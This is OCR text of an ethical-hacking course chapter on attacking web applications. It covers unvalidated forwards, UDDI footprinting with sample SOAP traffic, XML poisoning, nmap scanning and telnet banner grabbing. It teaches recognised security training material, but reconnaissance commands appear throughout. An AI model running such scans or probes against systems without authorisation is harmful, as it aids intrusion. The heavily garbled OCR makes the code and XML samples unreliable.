U n v a l i d a t e d  F o r w a r d

Administration Page

£  Create price list 

Q  Create item listing 

*1 Purchase records 

3  Registered users

Attacker is fo rw arded 
to  adm in page

A ttacker requests page 
from  server w ith  a fo rw ard

h ttp ://w w w  .juggyshop.com/purch 
ase.jsp?fwd=admin.jsp

ServerAttacker

F IG U R E  1 3 .2 8 :  U n v a l id a t e d  R e d ir e c ts  a n d  F o r w a r d s
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Web Services Architecture CEH
C«rt1fW4 itfciul NmIm

XML, SOAP, WSDL, Schema, WS-Advertising, etc.

.N et TCP Channel, 
Fast InfoSet, etc.

Copyright © by E&Coinal. A ll Rights Reserved. Reproduction is Strictly Prohibited.

W e b  S e r v i c e s  A r c h i t e c t u r e

WS־W ork Processes

WS־Security

WS-SecureConversionWS-Federation

WS-Trust

:1SAML Kerberos X.509 
Security Token ProfilesXML Encryption

XML Digital Signatures

WS
Security

Policy

WS־Policy

XML, SOAP, WSDL, Schema, W S-Advertising, etc.

HTTP
j .Net TCP Channel, 

Fast InfoSet, etc.

* T O

FIGURE 13 .29 : W eb  Serv ices A rc h ite c tu re
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Web Services Attack C
UrlifM

EH
IUmjI NMhM

0Web services evolution and its increasing use in business offers new attack vectors in an application 
framework

0

Web services are based on XML protocols such as Web Services Definition Language (WSDL) for describing 
the connection points; Universal Description, Discovery, and Integration (UDDI) forthe description and 
discovery of web services; and Simple Object Access Protocol (SOAP) for communication between web

Copyright © by E&Coinal. A ll Rights Reserved. Reproduction is Strictly Prohibited.

^ 4 ^ ־1  ^ e b  S e r v i c e s  A t t a c k

W e b  services e v o lu t io n  and its inc reas ing  use in business o f fe rs  n e w  a t ta c k  v e c to rs  in 

an a p p l ic a t io n  f r a m e w o rk .  W e b  serv ices are p rocess - to -p rocess  c o m m u n ic a t io n s  t h a t  have 

specia l se cu r ity  issues and needs. W e b  serv ices are based on XM L p ro to c o ls  such as W e b  

Services D e f in i t io n  Language (WSDL) fo r  d esc r ib ing  th e  c o n n e c t io n  po in ts ;  Un iversa l 

D esc r ip t ion , D iscovery , and In te g ra t io n  (UDDI) fo r  th e  d e s c r ip t io n  and d iscove ry  o f  w e b  

services; and S im p le  O b je c t  Access P ro toco l (SOAP) fo r  c o m m u n ic a t io n  b e tw e e n  w e b  services 

t h a t  are  v u ln e ra b le  to  va r ious  w e b  a p p l ic a t io n  th re a ts .  S im ila r  to  th e  w a y  a user in te rac ts  w i th  a 

w e b  a p p l ic a t io n  th ro u g h  a b ro w se r ,  a w e b  serv ice can in te ra c t  d ire c t ly  w i th  th e  w e b  a pp l ica t io n  

w i t h o u t  th e  need fo r  an in te ra c t iv e  user session o r  a b ro w se r .

These w e b  serv ices have d e ta i le d  d e f in i t io n s  t h a t  a l lo w  regu la r  users and a t tacke rs  to  

u n d e rs ta n d  th e  c o n s t ru c t io n  o f  th e  service. In th is  w ay , m uch  o f  th e  in fo rm a t io n  re q u ire d  to  

f in g e rp r in t  th e  e n v i ro n m e n t  and fo rm u la te  an a t ta c k  is p ro v id e d  to  th e  a t tacke r .  It is e s t im a te d  

th a t  w e b  services re in t ro d u c e  70% o f  th e  v u ln e ra b i l i t ie s  on th e  w eb . Some exam p les  o f  th is  

ty p e  o f  a t ta c k  are:

Q An a t ta c k e r  in jec ts  a m a l ic ious  sc r ip t  in to  a w e b  service, and is ab le  to  d isclose and 

m o d ify  a p p l ic a t io n  data .

© An a t ta c k e r  is using a w e b  serv ice fo r  o rd e r in g  p ro du c ts ,  and in jec ts  a sc r ip t  to  rese t 

q u a n t i t y  and s ta tus  on th e  c o n f i r m a t io n  page to  less th a n  w h a t  was o r ig in a l ly  o rd e re d .
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In th is  w ay , th e  sys tem  process ing  th e  o rd e r  re q u e s t  su b m its  th e  o rd e r ,  ships th e  o rd e r ,  

and th e n  m o d if ie s  th e  o rd e r  to  s h o w  th a t  a s m a l le r  n u m b e r  o f  p ro d u c ts  are  be ing  

sh ipped . The a t ta c k e r  w in d s  up rece iv ing  m o re  o f  th e  p ro d u c t  th a n  he o r  she pays fo r .

Ethical Hacking and  C o u n te rm easu re s  Exam 312-50 C ertified Ethical H acker
Hacking W eb A pplications
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W e b  S e r v i c e s  F o o t p r i n t i n g  A t t a c k  C E H
C«rt1fW4 itfciul NmIm

J  A t ta c k e r s  f o o t p r i n t  a w e b  a p p l i c a t i o n  t o  g e t  U D D I i n f o r m a t i o n  s u c h  a s  b u s in e s s E n t i t y ,  

b u s in e s S e r v ic e ,  b in d in g T e m p la t e ,  a n d  t M o d e l

X M L  R e s p o n s eX M L  Q u e r y

HTTP 200 1.1־ OK
Date: Tue. 28 Sep 2004 10:07:42 GMT 
Server: Mk*osoft-llS6.0׳
X-Powered-By: ASP.NET 
XAspNet-Vers-oo 1 1 4322 
Cache-CortroJ: private, max-age=0 
Contort •Type: text/xml: cbarsot-utf 8 
Contert •Length: 1272

<?xml versk)n=*l.0־ encoding=־‘utl-8,'?><80ap:Env0l0p0
xmlnssoap-'bttp ׳/schemas xmlsoap org/soap/onvolopor xmlns:xsi-^ttp://www.w3.org/2001 ׳׳XMLSchoma 
instance' xm1n8:xsd־*hnp:/׳/www.w3.org/2001/XMLSchema,'><8oap:Body><8erv1ceList generic-^.O" 
operator-*Microsoft Corporation־• truncated-"false" xmlns-־,urn:uddi-org:apl_v2״><servicelnfos><servicelnfo 
se׳viceKey=*6ec464eO-218d-4dafb4dd‘>dd4ba9dc8l3’' businessKey=*9l4374tbM01-4834-b8ef- 
c9c34c8a0ce5*><namo xml lang-*on-us"> <>namo></sorvicolnk»<sorvicolnlo
sorvcoKoy-M1213238• 1 b33 4014 8756 c89cc31250CC■• businossKoy-"bfb9dc23adoc-4173bd5f• 
5545abacaalb"xnamc xml:lang-"en-us"> </namc></scrviceln10xscfvicelnlo
serv!ceKey«״ba6d9d56-ea3M263-a95a-eebl 7e59l Odb" businessKey="18b71de2-dl 5c-437c-8877- 
cbec82l6d0f5’ xnam e xml:lang=*en"> </namcx/servicelnloxservicelnlo
serviceKey»״bc82a008-5e4e4־cOc-8dba-c5e4e268le12" busines8Key»18785586-295״e-448a-b759- 
Cbb44a049t21”xnam e xml:lang="on*> <-׳namo></scrvicclnfo><scfvicclnfo
serviceKey-,8faa80ea-42dd4־cOd*8070999־ce0455930" businessKey-"ee41518b-bf99-4a66-9e9e- 
c33c4c43db5a*xname
xH1l:lang«*en'> </name></serviceln10><7serviceln10s></serviceList><;soap:Body><.'soap:

POST /inquire HTTP/1.1
Content •Type: text/xml; charset=utf-8
SOAPAction: —
Cache-Control: no-cache 
Pragma: no-cache 
User-Agent: Java/1.4.2_04 
Host: uddi.miaosoft.com
Accept: text/html,image/gif, image/jpeg/; q=.2, /; q=.2
Connection: keep-alive
Content-Length:229

<?xml version1.0 "־" encoding־"UTF-8" ?>
< Envelop
xmlns="http://scemas.xmlsoap.org/soap/envelop/">
<Body>
<fmd_business generic="2.0" maxRows"50" 
xmlns="urn"uddi-
org:api_v2"xname>amazon</name></find_business>
</Body>
</Envelop>
HTTP/1.1 50 Continue

Copyright © by E&Coinal. A ll Rights Reserved. Reproduction is Strictly Prohibited.

^  W e b  S e r v i c e s  F o o t p r i n t i n g  A t t a c k

^ ^  A t tacke rs  use Universa l Business Registry  (UBR) as m a jo r  source  to  g a th e r  in fo rm a t io n  

o f  w e b  services. It is v e ry  usefu l fo r  b o th  businesses and ind iv idua ls . It is a p u b l ic  re g is t ry  th a t  

runs on  UDDI spec if ica t ions  and SOAP. It is s o m e w h a t  s im i la r  to  a "W h o is  se rve r"  in 

fu n c t io n a l i t y .  To reg is te r  w e b  services on UDDI server, business o r  o rg an iza t io ns  usua lly  use one  

o f  th e  fo l lo w in g  s truc tu res :

Q Business En t i ty

Q Business Service

© B ind ing  T em p le

e  Technica l M o d e l  ( tm o d e l)

Hence, a t tacke rs  f o o t p r in t  a w e b  a pp l ica t io n  to  g e t UDDI in fo rm a t io n  such as bus inessEntity ,  

businesServ ice, b in d in g T e m p la te ,  and tM o d e l .
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X M L  Q u e r y X M L  R e s p o n s e

POST/inquire HTTP/1.1 
Content-Type: text/xml; charset=utf-8 
SOAPAction: "״
Cache-Control: no-cache 
Pragma: no-cache 
User-Agent: Java/1.4.2_04 
Host: uddi.microsoft.com
Accept: text/html, image/glf, image/jpeg,*; q=.2, /; q=.2
Connection: keep-alive
Content־Length:229

<?xml version="1.0" encoding="UTF-8" ?>
<Envelop
xmlns="http://scemas.xmlsoap.org/soap/envelop/">
<Body>
<find_businessgeneric="2.0" maxRows"50" 
xmlns="urn"uddi-
0rg:api_v2"xname>amaz0n</namex/find_business>
</Body>
</Envelop>
HTTP/1.1 SO Continue 0 —

HTTP?1.1 200 OK
Date: Tue, 28 Sep 2004 10:07:42 GMT 
Server: Microsotl-IIS'6.0 
X-Powered-By: ASP NET 
X-AspNet Version: 1.1.4322 
Cache-Control: private,וזז ax-age-0 
Content-Type: text/xml: cnarset-ut(8 
Content-Length: 1272

<?!tml version1.0-־" encoding="utf-8"?><soap:Envelope
xmlns:soap״־nttp://schemas.xmlsoaporg/soap/enveloper xmlns:*si־"http://www.w3.org/2001/XMLSchema- 
instance" xmlns:xsd־ ‘http̂ AMWw.w3.org/2001/XMLSchema"><soap:BodyxserviceList generiĉ  "2.0" 
operator־ "Microsoft Corporation" truncated־"false'' xmlns־"um:uddi-0rg:api_v2־xservicelnfosxserviceln1o 
servjceKey=6־ec464eO-2f8d-4dal-b4dd-5dd4ba9dc8f3■ businessKey-914374־fb-(10f-4634-b8el- 
C9e34e8a0ee5'xname xml:lang='en-us"> </namex/servicelr1to><serv1celnto 
serviceKey=41213238-1־ b33-40f4-8756-c89cc3125eoc־ businessKey=־bfb9dc23-adec-4(73-bd5f- 
5545abaeaa1b’><name xml:lang="en-us"> </name><feerviceln10><serviceln10 
setviceKey»T>a6d9d56-ea3f-4263-a95a-eeb176591 Odb’ businessKey-'t8b7lde2־d15c-437c8877־- 
ebec8216d015"xname xml:lang='en"> </namex/serv1celnt0xservicelnk> 
sen״ceKey-"bc82aO38-5e4e1'־c0c-8dba-c5e4e268fe 12" businessKey-" 18785586-295e-448a-b759- 
ebb44a049f21"xname xml:lang="en"> </namex/serv1celnf0xservcelnf0 
serviceKey-"8faa80ea-42dd-4c0d-8070-999ce0455930"businessKey-'ee41518b-b(99-4a66-9e9e- 
c33c4c43db5a"xname
*a51lang.־en־> </name></servicelnfox/servicelnlos></serviceUst></soap:Body><'soap: 

^pveiopo

F IG U R E  1 3 .3 0 :  W e b  S e rv ic e s  F o o t p r in t in g  A t ta c k
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C E HW e b  S e r v i c e s  X M L  P o i s o n i n g

Attackers insert malicious XML codes in SOAP requests to perform XML node manipulation or XML schema 
poisoning in order to generate errors in XML parsing logic and break execution logic

Attackers can manipulate XML external entity references that can lead to arbitrary file or TCP connection 
openings and can be exploited for other web service attacks

XML poisoning enables attackers to cause a denial-of-service attack and compromise confidential information

X M L  R e q u e s t P o is o n e d  X M L  R e q u e s t

<CustomerRecord>

<CustomerNumber>2010</CustomerNumber> 

<FirstName>Jason</FirstName> 

<LastName>Springfield</LastName> 

<Address>Apt 20, 3rd Street</Address> 

<Email>jason@ springfield.com</Email> 
<PhoneNumber>6325896325</PhoneNumber> 

</CustomerRecord>

<CustomerRecord>

<CustomerNumber>2010</CustomerNumber>
<FirstName>Jason</FirstName><CustomerNumber>

2010</CustomerNumber>

<FirstName>Jason</FirstName>

<LastName>Springfield</LastName>

<Address>Apt 20, 3rd Street</Address> 

<Email>jason (®springfield.com</Email> 
<PhoneNumber>6325896325</PhoneNumber> 

</CustomerRecord>

Copyright © by E&C01nal. A ll Rights Reserved. Reproduction is Strictly Prohibited.

W e b  S e r v i c e s  X M L  P o i s o n i n g

XM L p o ison ing  is s im i la r  to  a SQL in je c t io n  a ttack . It has a la rge r  success ra te  in a w e b  

serv ices  f r a m e w o r k .  As w e b  serv ices are  invoked  using XM L d o c u m e n ts ,  th e  t ra f f ic  th a t  goes 

b e tw e e n  se rve r  and b ro w s e r  a pp l ica t io n s  can be p o isoned . A t ta cke rs  c rea te  m a l ic ious  XM L 

d o c u m e n ts  to  a l te r  pars ing  m echan ism s  l ike SAX and D O M  th a t  are used on th e  server.

A t ta cke rs  inse r t  m a l ic ious  XM L codes in SOAP reques ts  to  p e r fo rm  XM L node  m a n ip u la t io n  o r  

XM L schem a po ison ing  in o rd e r  to  g e n e ra te  e r ro rs  in XM L pars ing  logic and b reak  e xecu t ion  

logic. A t ta cke rs  can m a n ip u la te  XM L e x te rna l  e n t i t y  re fe re n c e s  th a t  can lead to  a rb i t ra ry  f i le  o r  

TCP c o n n e c t io n  o pen ings  and can be e x p lo i te d  fo r  o th e r  w e b  serv ice a ttacks. XM L po ison ing  

enab les  a t tacke rs  to  cause a d en ia l-o f-se rv ice  a t ta ck  and c o m p ro m is e  c o n f id e n t ia l  in fo rm a t io n .
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F IG U R E  1 3 .3 1 :  W e b  S e rv ic e s  X M L  P o is o n in g
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Hack ing  M e th o d o lo g y

m m

W e b  A p p l ic a t io n  H ack ing  Tools

Copyright © by E&C01nal. A ll Rights Reserved. Reproduction is Strictly Prohibited.

־ ־ ^  M o d u l e  F l o w

So fa r,  w e  have discussed w e b  a p p l ic a t io n  c o m p o n e n ts  and va r ious  th re a ts  assoc iated  

w i th  w e b  a pp lica t ions . N o w  w e  w i l l  d iscuss w e b  a p p l ic a t io n  h ack ing  m e th o d o lo g y .  A hack ing  

m e th o d o lo g y  is a w a y  to  check  eve ry  poss ib le  w a y  to  c o m p ro m is e  th e  w e b  a p p l ic a t io n  by 

a t te m p t in g  to  e x p lo i t  all p o te n t ia l  v u ln e ra b i l i t ie s  p re s e n t  in it.

^  W e b  A p p  Pen T es t in g W e b  A p p  C oncep ts

S e cu r i ty  Too ls W e b  A p p  T h re a ts

C o u n te rm e a s u re s ^  H ack ing  M e th o d o lo g y
1 S 1

W e b  A p p l ic a t io n  H ack ing  Too ls

This sec t ion  gives a d e ta i le d  e x p la n a t io n  o f  w e b  a p p l ic a t io n  hack ing  m e th o d o lo g y .
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W e b  A p p  H a c k i n g  M e t h o d o l o g y#  n  ^
<n> ס

In o rd e r  to  hack a w e b  a pp l ica t ion ,  th e  a t ta c k e r  in i t ia l ly  t r ie s  to  g a th e r  as m uch  

in fo rm a t io n  as poss ib le  a b o u t  th e  w e b  in f ra s t ru c tu re .  F o o tp r in t in g  is one  m e th o d  using w h ic h  

an a t ta c k e r  can g a th e r  va luab le  in fo rm a t io n  a b o u t  th e  w e b  in f ra s t r u c tu re  o r  w e b  a pp l ica t ion .
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Footprint Web Infrastructure CEH

J  W e b  in f r a s t r u c t u r e  f o o t p r i n t i n g i s  t h e  f i r s t  s t e p  in  w e b  a p p l i c a t i o n  h a c k in g ;  i t  h e lp s  a t t a c k e r s  t o  

s e le c t  v i c t im s  a n d  i d e n t i f y  v u l n e r a b le  w e b  a p p l i c a t i o n s

Hidden
Content Discovery
E x tra c t c o n te n t  and  

fu n c t io n a l i t y  t h a t  is  n o t  

d i r e c t ly  lin k e d  o r  re a c h a b le  

f ro m  th e  m a in  v is ib le  c o n te n tServer Identification
G ra b  s e rv e r  b a n n e rs  to  
id e n t i f y  th e  m ake  and  

v e rs io n  o f  th e  w e b  

s e rv e r  s o f tw a re

Server Discovery
D is c o v e r  th e  phys ica l 

s e rv e rs  th a t  h o s ts  

w e b  a p p lic a t io n

Service Discovery
D is c o v e r  th e  s e rv ic e s  ru n n in g  o n  w e b  

s e rv e rs  th a t  can be  e x p lo ite d  as 

a t ta c k  p a th s  fo r  w e b  a p p  h a c k in g

Copyright © by E&C01nal. A ll Rights Reserved. Reproduction is Strictly Prohibited.

F o o t p r i n t  W e b  I n f r a s t r u c t u r e

W e b  in f ra s t ru c tu re  fo o tp r in t in g  is th e  f i r s t  s tep  in w e b  a p p l ic a t io n  hack ing ; it helps 

a t tacke rs  to  se lec t v ic t im s  and id e n t i f y  v u ln e ra b le  w e b  a pp lica t ions . T h ro u g h  w e b  

in f ra s t ru c tu re  fo o tp r in t in g ,  an a t ta c k e r  can p e r fo rm :

י  S e r v e r  D i s c o v e r y

In se rve r  d iscovery , w h e n  th e re  is an a t te m p t in g  to  c o n n e c t  to  a server, th e  r e d i r e c to r  

m akes an in c o r re c t  a ss u m p t io n  th a t  th e  ro o t  o f  th e  URL nam espace  w i l l  be W e b D A V - 

aw a re . It d iscovers  th e  physical servers  t h a t  hos t w e b  a pp lica t ion .

S e r v i c e  D i s c o v e r y

D iscovers th e  services ru n n in g  on w e b  servers  th a t  can be e x p lo i te d  as a t ta c k  paths 

fo r  w e b  app  hacking. The serv ice d iscove ry  searches a ta rg e te d  a p p l ic a t io n  e n v i ro n m e n t  fo r  

loads and serv ices a u to m a t ic a l ly .

S e r v e r  I d e n t i f i c a t i o n

Grab th e  se rve r  b a n n e rs  t o  id e n t i f y  th e  m ake  and ve rs ion  o f  th e  w e b  se rve r  s o f tw a re .  

It consists o f:

Q Local Id e n t i t y :  This spec if ies  th e  se rve r  O r ig in -R ea lm  and O r ig in -H ost.
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e  Local A ddresses : These spec ify  th e  local IP addresses o f  th e  se rve r  t h a t  uses fo r  

D ia m e te r  C apab i l i ty  Exchange messages (CER/CEA messages).

Q S e lf-N am es : This f ie ld  spec if ies  rea lm s  to  be co ns ide red  as a local to  th e  server, it m eans 

th a t  any  reques ts  se n t fo r  these  rea lm s w i l l  be t re a te d  as i f  th e re  is no rea lm  in th e  

spec if ied  re q u e s t  send by th e  server.

W f  H i d d e n  C o n t e n t  D i s c o v e r y

י̂°°°  Extract c o n te n t  and fu n c t io n a l i t y  t h a t  is n o t  d ire c t ly  l inked  o r  reachab le  f r o m  th e  m ain  

v is ib le  c o n te n t .
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F o o t p r i n t  W e b  I n f r a s t r u c t u r e :

S e r v e r  D i s c o v e r y

■  S e r v e r  d i s c o v e r y  g iv e s  i n f o r m a t i o n  a b o u t  t h e  l o c a t i o n  o f  s e r v e r s  a n d  e n s u r e s  t h a t  t h e  t a r g e t  

s e r v e r  is  a l i v e  o n  I n t e r n e t

W h o is  lo o ku p  u t il ity  gives in fo rm a tio n  a b o u t th e  IP add ress  o f  w e b  se rve r and 

DNS nam es

e h ttp ://w w w .w h o is .n e t 

G h ttp ://w w w .dnsstu ff.com

W h o is  L o o ku p  Tools: 

e h ttp ://w w w .tam o s.com  

s  h ttp ://n e tc ra ft.co m

DNS In te rro g a tio n  p rov ides in fo rm a tio n  a b o u t th e  lo ca tio n  and  ty p e  o f  servers 

DNS In te r ro g a t io n  Tools:

8 h ttp ://e -dns .o rg  

» http ://w w w .dom ain too ls .com

9 h ttp ://w w w .dnsstu ff.com  

« h ttp ://ne tw o rk-too ls .com

1

Port Scanning a ttem p ts  to  connect to  a particu lar set o f TCP o r UDP ports  to  find  ou t 
th e  service th a t exists on th e  server

Port Scanning Tools:

9 Nm ap 0 W hatsUp PortScannerTool 

8 NetScan Tools Pro 6 Hping

Copyright © by E&C01nal. A ll Rights Reserved. Reproduction is Strictly Prohibited

F o o t p r i n t  W e b  I n f r a s t r u c t u r e :  S e r v e r  D i s c o v e r y

In o rd e r  to  f o o t p r in t  a w e b  in f ra s t ru c tu re ,  f i r s t  you  need to  d iscove r  th e  ac t ive  se rve rs  

on th e  in te rn e t .  Server d isco ve ry  gives in fo rm a t io n  a b o u t  th e  lo ca t io n  o f  ac t ive  servers  on th e  

In te rn e t .  The th re e  te ch n iq u e s ,  n a m e ly  w h o is  lookup , DNS in te r ro g a t io n ,  and p o r t  scann ing, 

he lp  in d isco ve r ing  th e  ac t ive  servers  and th e i r  assoc ia ted  in fo rm a t io n .

W h o i s  L o o k u p
f 3):

W h o is  Lookup  is a to o l  t h a t  a l low s  you  to  g a th e r  in fo rm a t io n  a b o u t  a d o m a in  w i th  th e  

he lp  o f  DNS and WHOIS que r ies .  This p roduces  th e  resu lt  in th e  fo rm  o f  a HTML 

re p o r t .  It is a u t i l i t y  th a t  gives in fo rm a t io n  a b o u t  th e  IP address o f  th e  w e b  se rve r  and DNS 

nam es. Som e o f  th e  W h o is  Lookup  Tools  are:

h t t p : / /w w w . ta m o s .c o m

h t tp : / /n e t c ra f t . c o m

h t t p : / /w w w .w h o is . n e t

h t tp : / /w w w .d n s s tu f f . c o m

D N S  I n t e r r o g a t i o n

DNS in te r ro g a t io n  is a d is t r ib u te d  da tabase  th a t  is used by va r ied  o rg an iza t io ns  to

e

e

e

0

o
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c o n n e c t  th e i r  IP addresses w i th  th e  respec t ive  h o s tn a m e s  and vice versa. W h e n  th e  DNS is 

im p ro p e r ly  co n n e c te d ,  th e n  it is ve ry  easy to  e x p lo i t  i t  and  g a th e r  re q u ire d  in fo rm a t io n  fo r  

launch ing  th e  a t ta c k  on th e  ta rg e t  o rg an iza t io n .  This a lso p rov ides  in fo rm a t io n  a b o u t  th e  

loca t ion  and ty p e  o f  servers. Som e o f  th e  to o ls  are:

© h t tp : / /w w w .d n s s tu f f . c o m

© h t tp : / /n e tw o rk - to o ls .c o m

© h t tp : / /e -d n s .o rg

© h t tp : / /w w w .d o m a in to o ls . c o m

m m ■  P o r t  S c a n n i n g

B U I  Port scann ing  is a process o f  scann ing  th e  sys tem  p o r ts  to  recogn ize  th e  o pe n  doo rs . If 

any  unused  o pen  p o r t  is recogn ized  by an a t ta cke r ,  th e n  he o r  she can in t ru d e  in to  

th e  sys tem  by e x p lo i t in g  it. This m e th o d  a t te m p ts  to  c o n n e c t  to  a p a r t ic u la r  set o f  TCP o r  UDP 

p o r ts  to  f in d  o u t  th e  serv ice th a t  exists on th e  server. Some o f  th e  to o ls  are:

© N m ap

© NetScan Tools  Pro 

© W h a ts U p  P o r tscan ne r  Too l 

© Hping
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F o o t p r i n t  W e b  I n f r a s t r u c t u r e :

S e r v i c e  D i s c o v e r y

Copyright © by HrCounctl. A ll Rights Reserved. Reproduction is Strictly Prohibited.

F o o t p r i n t  W e b  I n f r a s t r u c t u r e :  S e r v i c e  D i s c o v e r y

Service d iscove ry  f in ds  th e  services ru n n in g  on  w e b  servers  t h a t  can be e x p lo i te d  as 

a t ta ck  paths fo r  w e b  a p p l ic a t io n  hacking. Service d iscove ry  searches a ta rg e te d  a p p l ic a t io n  

e n v i ro n m e n t  fo r  loads and services a u to m a t ic a l ly .  The ta rg e te d  se rve r  has to  be scanned 

th o ro u g h ly  so t h a t  c o m m o n  p o r ts  used by w e b  servers  fo r  d i f fe re n t  serv ices can be id e n t i f ie d .

The ta b le  t h a t  fo l lo w s  show s th e  list o f  c o m m o n  p o r ts  used by w e b  servers  and th e  respec t ive  

HTTP services:

P o r t  T yp ica l  HTTP Serv ices

80 W o r ld  W id e  W e b  s ta nd a rd  p o r t

81 A l te rn a te  W W W

88 Kerberos

443 SSL (h t tps )

900 IBM W e b s p h e re  a d m in is t ra t io n  c l ien t

2 3 0 1  C o m p a q  I n s i g h t  M a n a g e r
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2381 C om paq  Ins igh t M a n a g e r  o v e r  SSL

4 242 M ic ro s o f t  A p p l ic a t io n  C en te r  R em ote  m a n a g e m e n t

7001 BEA W e b lo g ic

7002 BEA W e b lo g ic  o v e r  SSL

7070 Sun Java W e b  Server o v e r  SSL

8000 A l te rn a te  W e b  server, o r  W e b  cache

8001 A l te rn a te  W e b  se rve r  o r  m a n a g e m e n t

8005 A pache  T o m c a t

9090 Sun Java W e b  Server a d m in  m o d u le

10000 N etscape  A d m in is t ra to r  in te r face

T A B L E  1 3 .1 :  S e rv ic e  D is c o v e r y

You can d iscove r  th e  services w i th  th e  he lp  o f  to o ls  such as N m ap, NetScan Tools  Pro, and 

Sandcat B rowser.

Source: h t tp : / /n m a p . o r g

N m a p  is a scanner t h a t  is used to  f in d  in fo rm a t io n  a b o u t  sys tem s and serv ices on a n e tw o rk  and 

to  c o n s t ru c t  a m ap  o f  th e  n e tw o rk .  It can also d e f in e  d i f fe re n t  services ru n n in g  on th e  w e b  

se rve r  and g ive d e ta i le d  in fo rm a t io n  a b o u t  th e  re m o te  c o m p u te rs .

L=±hJZenmap

Scan Tools Profile Help

Scan CancelTarget: google.com

Command: nmap •T4 -A -v -PE -PS22.25.80 -PA21.23.80.3389 google.com

Nmap Output Ports/Host! Topology | Host Details | Scans j
< Port * Protocol * State < Service * Version

#  SO tcp open http

#  113 tcp closed ident

A  443 tcp open https

OS < Host

.9 google.com (74.12

C־
Filter Hosts

F IG U R E  1 3 .3 2 :  Z e n m a p  T o o l s c r e e n s h o t
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F o o t p r i n t  W e b  I n f r a s t r u c t u r e :  S e r v e r  

I d e n t i f i c a t i o n / B a n n e r  G r a b b i n g
C E H

Urt1fw4 ilhiul lUtbM

A n a ly z e  t h e  s e r v e r  r e s p o n s e  h e a d e r  f ie l d  t o  i d e n t i f y  t h e  m a k e ,  m o d e l ,  a n d  v e r s io n  

o f  t h e  w e b  s e r v e r  s o f tw a r e

Th is  in fo r m a t io n  h e lp s  a t ta c k e rs  t o  s e le c t  th e  e x p lo it s  f ro m  v u ln e r a b i l i t y  d a ta b a s e s  to  

a t ta c k  a w e b  s e rv e r  a n d  a p p lic a tio n s

C: \ t e l n e t  www. juggyboy.com 80 HEAD /  HTTP/1.0

Server id e n tifie d  
as M ic roso ft IIS

HTTP/1.1 200 OK
§ate?rihu!C095Jj!”idSs5!Content-Lfrgth: 1270 Content-Type: text/Mml
sJt-Cookl»T°*Cp5cis:CNID««TC0e0-PBLPKEK0N0<:K0FFIP0CHPLNE iVia: 1.1 Application aid Content Networking Systen Sof tvware 5.1.15
Connect io n !  C lose

nneetIon to ho«t lost.

4 . N e tc ra f t3 . ID  S e rve

B a n n e r  g r a b b in g  t o o l s :

1. T e ln e t 2 . N e tc a tH

Copyright © by E&Cauicfl. All Rights Reserved. Reproduction is Strictly Prohibited.

׳ ■, F o o t p r i n t  W e b  I n f r a s t r u c t u r e :  S e r v e r  

I d e n t i f i c a t i o n / B a n n e r  G r a b b i n g

T h ro ug h  b a n n e r  g rabb ing , an a t ta c k e r  id e n t i f ie s  b rand  a n d /o r  ve rs ion  o f  a server, an o p e ra t in g  

sys tem , o r  an a p p l ic a t io n .  A t ta cke rs  ana lyze  th e  se rve r  response h ea de r  f ie ld  to  id e n t i f y  th e  

m ake , m od e l ,  and ve rs ion  o f  th e  w e b  se rv e r  s o f tw a re .  This in fo rm a t io n  helps a t ta cke rs  to  

se lect th e  e xp lo i ts  f r o m  v u ln e ra b i l i t y  da tabases to  a t ta ck  a w e b  se rve r  and app lica t ions .

C : \ t e l n e t  w w w . ju g g y b o y .c o m  80 HEAD /  H T T P /1 .0  

A b a n n e r  can be g ra bb ed  w i th  th e  he lp  o f  to o ls  such as:

© T e ln e t  

Q N e tca t  

e  ID Serve 

© N e tc ra f t

These to o ls  m ake  b a n n e r  g ra bb ing  and analysis an easy task.
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S e rv e r  id e n t i f ie d  

as M ic r o s o f t  IIS

H TTP/l.1 200 OK ^ __________________________
Server:
Date: Thu. 07 Ju l 2005 13:08:16 GMT 
Content-Length: 1270 
Content-Type: text/html

sit-CookieT°ASP§ESsf0NIDQCQTCQBQ=PBLPKEKBNDGK0FFIP0LHPLNE; path־ / 
Via: 1.1 A p p lica tio n  and Content Networking System Software 5 .1 .15  
Connection: Close

Connection to host lo s t .

C:\>

:ם

F IG U R E  1 3 .3 3 :  S e r v e r  I d e n t i f i c a t io n / B a n n e r  G ra b b in g
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F o o t p r i n t  W e b  I n f r a s t r u c t u r e :  H i d d e n  

C o n t e n t  D i s c o v e r y
C E H

J  D isco ve r th e  h id d e n  c o n te n t  a n d  fu n c t io n a l i t y  th a t  is n o t  re a c h a b le  f ro m  th e  m a in  

v is ib le  c o n te n t  to  e x p lo it  u s e r p r iv i le g e s  w ith in  th e  a p p lic a tio n

J  I t  a llo w s  an a tta c k e r to  re c o v e r  b a c k u p  co p ie s  o f  live  file s , c o n f ig u ra tio n  f ile s  and  log 

f ile s  c o n ta in in g  s e n s itiv e  d a ta , b a cku p  a rch ive s  c o n ta in in g  s n a p s h o ts  o f  f ile s  w ith in  

th e  w e b  ro o t ,  n e w  fu n c t io n a lity  w h ic h  is n o t  lin ke d  to  th e  m a in  a p p lic a tio n , etc .

e  Use a u to m a tio n  to o ls  such 

as Burp  su ite  to  make 
huge num bers o f  requests 
to  th e  w e b  server in o rd e r 

to  guess th e  nam es o r 
id e n tifie rs  o f  h idden 
c o n te n t and fu n c tio n a lity

Attacker-Directed
Spidering

Attacker accesses all o f the  
app lica tion 's fu n c tio n a lity  
and uses an in tercepting  
proxy to  m o n ito r all requests 
and responses

The in te rcep ting  proxy parses 
all o f th e  application's 
responses and reports  the  
content and fu n c tio n a lity  it 
discovers

Too l: OWASP Zed A tta ck  
Proxy

© W eb spiders a u to m a tic a lly  
d isco ve r th e  h id d e n  
c o n te n t  and fu n c tio n a lity  
by parsing HTML fo rm  and 

c lien t-s ide  JavaScript 
requests  and responses

© W eb S p id e rin g  Tools:

S OWASP Zed A tta ck  Proxy 

S B u rp  S p ide r 

-  W ebS carab

Copyright © by E&Coinal. A ll Rights Reserved. Reproduction is Strictly Prohibited.

F o o t p r i n t  W e b  I n f r a s t r u c t u r e :  H i d d e n  C o n t e n t  

D i s c o v e r y

Crucia l in fo rm a t io n  re la ted  to  th e  business such as prices o f  p ro du c ts ,  d iscoun ts ,  log in  IDs, and 

passw ords  is k e p t  secre t. This in fo rm a t io n  is usua lly  n o t  v is ib le  to  ou ts ide rs .  This in fo rm a t io n  is 

usua lly  s to re d  in h id de n  fo rm  fie lds. D iscover th e  h id de n  c o n te n t  and fu n c t io n a l i t y  t h a t  is n o t  

reachab le  f r o m  th e  m a in  v is ib le  c o n te n t  to  e x p lo i t  user p r iv i le g es  w i th in  th e  a pp l ica t ion .  This 

